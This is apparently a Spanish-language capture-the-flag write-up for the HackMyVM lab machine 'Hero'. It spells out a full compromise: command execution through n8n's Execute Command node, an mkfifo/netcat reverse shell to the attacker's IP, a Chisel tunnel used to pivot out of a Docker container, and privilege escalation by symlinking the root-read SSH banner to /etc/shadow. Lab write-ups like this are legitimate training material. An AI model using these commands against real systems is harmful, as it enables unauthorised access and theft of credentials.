HackMyVM - Hero

logo

  • Through Arbitrary Command Execution in n8n Command Module (RCE)
  • RSA Key Leak (HTTP)
  • Symbolic Link - Shadow File (Privilege Escalation)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.33

PORT     STATE SERVICE REASON
80/tcp   open  http    syn-ack ttl 64
5678/tcp open  rrac    syn-ack ttl 63

Escaneo de servicios

❯ nmap -sVC -p 80,5678 172.0.100.33

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open  rrac?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: public, max-age=86400
|     Last-Modified: Mon, 24 Feb 2025 08:02:09 GMT
|     ETag: W/"7b7-19536fa51e4"
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 1975
|     Vary: Accept-Encoding
|     Date: Mon, 24 Feb 2025 08:05:22 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
|     <meta charset="utf-8" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="viewport" content="width=device-width,initial-scale=1.0" />
|     <link rel="icon" href="/favicon.ico" />
|     <style>@media (prefers-color-scheme: dark) { body { background-color: rgb(45, 46, 46) } }</style>
|     <script type="text/javascript">
|     window.BASE_PATH = '/';
|     window.REST_ENDPOINT = 'rest';
|     </script>
|     <script src="/rest/sentry.js"></script>
|     <script>!function(t,e){var o,n,
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Vary: Accept-Encoding
|     Date: Mon, 24 Feb 2025 08:05:22 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>

HTTP - TCP 80

http

HTTP - TCP 5678

5678

Me registré y, al terminar el registro, vi el panel de administración.

n8n

Voy a Overview y hago clic en Start from scratch.

sfromscratch

En AddFirst puedo añadir Execute Command para ejecutar comandos.

addCommand

Como puedo ejecutar comandos, dejo un netcat al escucha y me lanzo una shell.

addCommand2

Reverse Shell:

mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 172.0.100.25 1234 > /tmp/f

Recibo la shell.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.33] 36223
~ $ id
uid=1000(node) gid=1000(node) groups=1000(node)

Enumero el sistema y me doy cuenta de que estoy dentro de un contenedor Docker.

~ $ ip a
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Descargo el binario estático de Nmap desde su repositorio y le otorgo permisos de ejecución.

~ $ wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap
Connecting to github.com (140.82.121.3:443)
Connecting to raw.githubusercontent.com (185.199.109.133:443)
saving to 'nmap'
nmap                 100% |********************************| 5805k  0:00:00 ETA
~ $ chmod +x nmap

Realicé un escaneo de puertos en la subred 172.17.0.0/24 y encontré el puerto 22 abierto en la IP 172.17.0.1.

~ $ ./nmap -p- 172.17.0.*

Nmap scan report for 172.17.0.1
Host is up (0.000092s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5678/tcp open  unknown

Subo Chisel a la máquina víctima y creo un túnel de la siguiente manera:

Máquina atacante

./chisel server --reverse -p 9080

Máquina víctima

./chisel client 172.0.100.25:9080 R:socks

Configuro Proxychains para que funcione con Chisel.

❯ nano /etc/proxychains.conf

Añado esta línea al final del archivo y, seguidamente, usaré la llave RSA que encontré anteriormente en el servicio HTTP.

socks5  127.0.0.1 1080

Si al final del archivo tenéis algún proxy configurado, comentadlo; si no, os dará un error.

Al intentar conectarme con un usuario al azar, me muestra lo siguiente:

proxychains

Introduzco el usuario shawa y me conecto al sistema.

usershawa

En la carpeta /opt hay un archivo de texto llamado banner.txt, que pertenece al usuario root.

hero:~$ ls -l /opt
total 8
-rw-rw-rw-    1 root     root            16 Feb  6 10:09 banner.txt
drwx--x--x    4 root     root          4096 Feb  6 10:14 containerd

Si lo leo, dice: shawa was here., lo que significa que es el mensaje que muestra SSH al conectarnos. Sabiendo esto, puedo crear un enlace simbólico de banner.txt al archivo shadow.

hero:~$ ln -sf /etc/shadow /opt/banner.txt

Me reconecto y puedo leer el archivo shadow y en el primer comentario puedo ver una cadena de texto.

readShadow

  • SSH está configurado para mostrar un banner, leerá banner.txt al iniciar sesión.
  • Como banner.txt apunta a /etc/shadow, y SSH se ejecuta como root, este tiene permiso para leerlo.

Para obtener acceso como root, introduzco la cadena de texto que encontré comentada en el archivo shadow.

hero:~$ su root
Password: 
/home/shawa # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home/shawa # 

Y así concluye el viaje en la máquina Hero.

Que el destino te guíe.

Saludos.